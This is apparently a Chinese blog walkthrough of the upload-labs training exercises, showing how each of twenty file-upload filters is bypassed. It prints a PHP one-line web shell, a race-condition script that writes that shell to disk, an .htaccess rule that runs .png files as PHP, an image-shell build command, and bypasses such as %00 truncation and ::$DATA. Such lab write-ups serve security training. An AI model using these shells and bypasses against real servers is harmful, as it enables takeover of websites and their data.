目录

Pass-01-前端校验

Pass-02-MIME类型校验

Pass-03-黑名单

Pass-04-黑名单-.htaccess

Pass-05-大小写

Pass-06-后缀空格

Pass-07-后缀"点"

Pass-08-::$DATA

Pass-09-点空格点

Pass-10-双写

Pass-11-GET-%00截断-白名单

Pass-12-POST-%00截断-

Pass-13-图片码

Pass-14-图片码

Pass-15-图片码

Pass-16-二次渲染

Pass-17-条件竞争

Pass-18-白名单-图片码

Pass-19-黑名单-/.绕过

Pass-20-数组绕过-配合/.

总结:


前言:

一句话木马具体内容:

<?php eval($_REQUEST[123]);?>

Pass-01-前端校验

可以看到,是弹框提示,肯定是前端用了JS代码,前端限制了后缀。

前端验证等于没有验证。

抓包绕过即可,上传一张写有“一句话木马”的jpg图片。

出现这个画面,表示上传成功。

成功getshell!

Pass-02-MIME类型校验

这个地方的限制和Pass-01的提示不一样的,考虑后端做了验证。

查看源码:

发现对mime类型做了限制:

那么考虑抓包修改mime类型:

成功getshell!

Pass-03-黑名单

首先,查看pass-03的源码:

上图做了解析。

意思是不允许上传后缀为.php的文件,那就先上传.jpg,然后尝试抓包绕过吧。

把3.jpg改成3.php3即可绕过。

原因:

打开网站apache服务器的httpd.conf源码

最后面有这样一行配置:意思是把.php、.php3、.phtml都当作php文件去解析。

成功getshell!

Pass-04-黑名单-.htaccess

应该是后端做了校验。

直接看源码:

也是一个典型的黑名单机制,那么就要找黑名单里面不存在的来进行绕过。 这里我们想到了.htaccess文件。

准备一个.htaccess文件,内容为:

AddType application/x-httpd-php .png

意思是用.png文件可以被当作.php去执行。

接下来随意写个一句话木马,然后将后缀修改为.png,上传即可,一样getshell!

Pass-05-大小写

直接上传php文件:后端肯定做了校验,和上一关的提示有点像,查看源码。

发现黑名单禁了.htaccess

仔细看过滤条件,发现没有过滤大写strtolower这一条件,可以加以利用。

进行大小写绕过。

这里创建一个5.Php进行上传。

成功getshell!

Pass-06-后缀空格

发现大小写已经不可行了。

查看源码:

但是首尾去空trim函数过滤条件没有标注,可以考虑抓包加空格绕过。

需要注意的是: 这一关只适合在Windows系统下绕过,Windows下保存文件如果后缀有空格会自动去除空格。

而,如果在Linux下空格会保存下来。

成功getshell!

Pass-07-后缀"点"

利用pass-06的做法已经不行,直接看源码:

仔细看,发现没有去掉最后一个“."的过滤条件,即deldot函数。

这一关还是需要利用Windows的特性,在Windows中后缀有点的情况会自动删除点。

那么我们只需要抓包在文件名后面加上 "." 即可。

因为在windows上运行,文件后缀“.”会被吞掉,变为.php本身。

成功getshell!

Pass-08-::$DATA

这关利用pass-07绕不过了,直接查看源码:

发现去掉::$DATA的函数str_ireplace()没有标识出来,可以考虑利用这点。

这个关卡还是得在Windows下面才有效。

例如: phpinfo.php::$DATA " Windows会自动去掉末尾的::$DATA变成"phpinfo.php" 所以知道这个特性之后,我们就可以抓包修改文件名:加上::$DATA即可。

成功getshell!

Pass-09-点空格点

还是得在windows环境中进行。 首先看源码:

最后9.php.会被windows自动过滤为9.php

成功getshell!

Pass-10-双写

首先,先看代码:

这样只能考虑双写绕过了。

成功getshell!

Pass-11-GET-%00截断-白名单

00截断是操作系统层的漏洞,由于操作系统是C语言或汇编语言编写的,这两种语言在定义字符串时,都 是以\0(即0x00)作为字符串的结尾。操作系统在识别字符串时,当读取到\0字符时,就认为读取到了 一个字符串的结束符号。因此,我们可以通过修改数据包,插入\0字符的方式,达到字符串截断的目 的。00截断通常用来绕过web软waf的白名单限制。

最终达到的效果:

www.xxx.com/shell.jpg

www.xxx.com/shell.php%00.jpg => www.xxx.com/shell.php

我们直接查看源码:

直接burp抓包:

成功getshell!

Pass-12-POST-%00截断-

原理和pass-11是一样的。只是post的处理方式不一样。

查看源码:

路径变为了post的方式。

我们知道GET传惨会自动解码,post不会, 所以我们在修改包的时候需要主动去url解码一次。

抓包。

成功getshell!

Pass-13-图片码

直接查看源码:

制作一张图片码shell.png:

在图片码的末端添加一行一句话木马:<?php eval($_REQUEST[123]);?>

或者:

在终点执行命令

copy 1.png /b + shell.php shell.png

用一张普通图片1.png与木马文件shell.php一起生成一张图片码shell.png

再次把shell.png上传,然后利用文件包含漏洞进行包含。

可以看到文件名被重置了,复制这个地址,放在包含漏洞里。

成功getshell!

Pass-14-图片码

与上一关一致操作即可

Pass-15-图片码

与上一关一致操作即可

Pass-16-二次渲染

直接看源码:

我们还是按照13,14,15的思路进行上传:

发现最终<?php eval($_REQUEST[123]);?>被吞掉了,不能存在了。

二次渲染的时候把码的信息给干掉了。 怎么办呢?

把原图和他修改过的图片进行比较,看看哪个部分没有被修改。

将php代码放到没有被更改的部分,再重 新上传即可绕过。

这里使用HxD Hex Editor进行比较:建议试用gif尝试。

HxD Hex Editor使用方法略过,有需要具体了解的朋友请留言。

在新标签页重新打开这个上传的图片

地址拷贝给文件包含漏洞页面

成功getshell!

Pass-17-条件竞争

查看源码:

如果上传之后后缀名为.php则直接删除,所以要争取在删除之前打开文件,但是就算当时打开了文件,在连接蚁剑的时候,也必然会被删除掉文件。

所以,在这里我们要改思路,不能再继续写一句话木马,而是要写成:

<?php

file_put_contents("shell.php",'<?php eval($_REQUEST[123]);?>');

?>

利用file_put_contents的写入文件模式,也就是争取未被源码删除之前的时间,往根目录写入另一份一句话木马文件,到时候直接包含这份新的一句话木马文件即可。

这里就需要burpsuit抓包,扔进intruder,然后跑一个Null payloads:

然后发包,用另一个浏览器一直访问17.php地址,只要在上传的一瞬间,他还没来的及删除就可以了。

这里有一个知道已经生成shell.php,执行了php代码的小技巧,你可以在在代码里输出一行回显echo "##########################";

如下:

<?php

echo "##########################";

file_put_contents("shell.php",'<?php eval($_REQUEST[123]);?>');

?>

只要访问17.php的时候出现了##########################,就说明成功执行代码,生成了shell.php文件。

然后访问/upload目录下的/shell.php即可。

成功getshell !

Pass-18-白名单-图片码

这一关先要改一下源码,路径有问题,修改myupload.php中的如下代码:

这关是检查了后缀名,然后上传,然后在进行名字修改。这时我们只能上传图片码然后进行包含。

与13-15关一样操作即可。

成功getshell!

Pass-19-黑名单-/.绕过

查看源码:

发现保存的名字参数可控

move_uploaded_file()有这么一个特性,会忽略掉文件末尾的 /.

所以直接上传php文件,然后抓包,添加/. 然后绕过黑名单。

成功getshell!

Pass-20-数组绕过-配合/.

查看源码:

这一关save_name处一定要构造一个数组

mime类型可以抓包修改

文件名可以抓包修改

这个时候直接上传一个php 文件如何?

再结合move_uploaded_file() 会忽略/.

我们精心构造一下:

图片配了详细说明。

按抓包图片更改内容即可绕过后端校验。

成功getshell!

总结:
黑名单绕过方式:

php3

上传.htaccess配置文件

大小写Php

后缀空格

后缀“." ::$DATA

后缀点空格点

双写php

后缀/.绕过move_uploaded_file()函数

白名单绕过方式:

后缀%00截断

条件竞争

图片码

Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐